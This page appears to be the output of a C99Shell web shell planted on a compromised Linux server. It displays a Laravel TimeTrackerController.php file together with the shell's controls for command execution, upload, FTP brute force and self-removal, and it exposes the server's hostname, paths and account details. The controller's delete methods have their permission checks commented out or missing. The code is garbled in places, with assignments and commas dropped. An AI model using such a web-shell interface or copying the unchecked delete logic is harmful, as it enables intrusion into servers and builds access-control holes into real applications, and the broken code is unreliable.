!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TimeTrackerController.php (3.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\TimeTracker;
use 
App\Models\TrackPhoto;
use 
App\Models\Utility;
use 
App\Models\Projects;
use 
Illuminate\Http\Request;
use 
Carbon\Carbon;
use 
Carbon\CarbonPeriod;

class 
TimeTrackerController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
       
$treckers=TimeTracker::where('created_by',\Auth::user()->id)->get();

       return 
view('time_trackers.index',compact('treckers'));

    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        
//
    
}

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        
//
    
}

    
/**
     * Display the specified resource.
     *
     * @param  \App\Models\TimeTracker  $timeTracker
     * @return \Illuminate\Http\Response
     */
    
public function show(TimeTracker $timeTracker)
    {
        
//
    
}

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Models\TimeTracker  $timeTracker
     * @return \Illuminate\Http\Response
     */
    
public function edit(TimeTracker $timeTracker)
    {
        
//
    
}

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Models\TimeTracker  $timeTracker
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $requestTimeTracker $timeTracker)
    {
        
//
    
}

    
/**
     * Remove the specified resource from storage.
     *
     * @param  \App\Models\TimeTracker  $timeTracker
     * @return \Illuminate\Http\Response
     */
    
public function destroy($timetracker_id)
    {
//        return redirect()->back()->with('error',__('This operation is not perform due to demo mode.'));
        // if(Auth::user()->can('delete timesheet'))
        // {
            
$timetrecker TimeTracker::find($timetracker_id);
            
$timetrecker->delete();

                return 
redirect()->back()->with('success'__('TimeTracker successfully deleted.'));
        
// }
        // else
        // {
        //     return redirect()->back()->with('error', __('Permission denied.'));
        // }



    
}

    public function 
getTrackerImages(Request $request){


        
$tracker TimeTracker::find($request->id);

        
$images TrackPhoto::where('track_id',$request->id)->where('user_id',\Auth::user()->creatorId())->get();;
        return 
view('time_trackers.images',compact('images','tracker'));
    }

    public function 
removeTrackerImages(Request $request){



        
$images TrackPhoto::find($request->id);
        if(
$images){
            
$url$images->img_path;
            if(
$images->delete()){
                
\Storage::delete($url);
                return 
Utility::success_res(__('Tracker Photo remove successfully.'));
            }else{
                return 
Utility::error_res(__('opps something wren wrong.'));
            }
        }else{
            return 
Utility::error_res(__('opps something wren wrong.'));
        }

    }

    public function 
removeTracker(Request $request)
    {

        
$track TimeTracker::find($request->input('id'));
        if(
$track)
        {
            
$track->delete();

            return 
Utility::success_res(__('Track remove successfully.'));
        }
        else
        {
            return 
Utility::error_res(__('Track not found.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--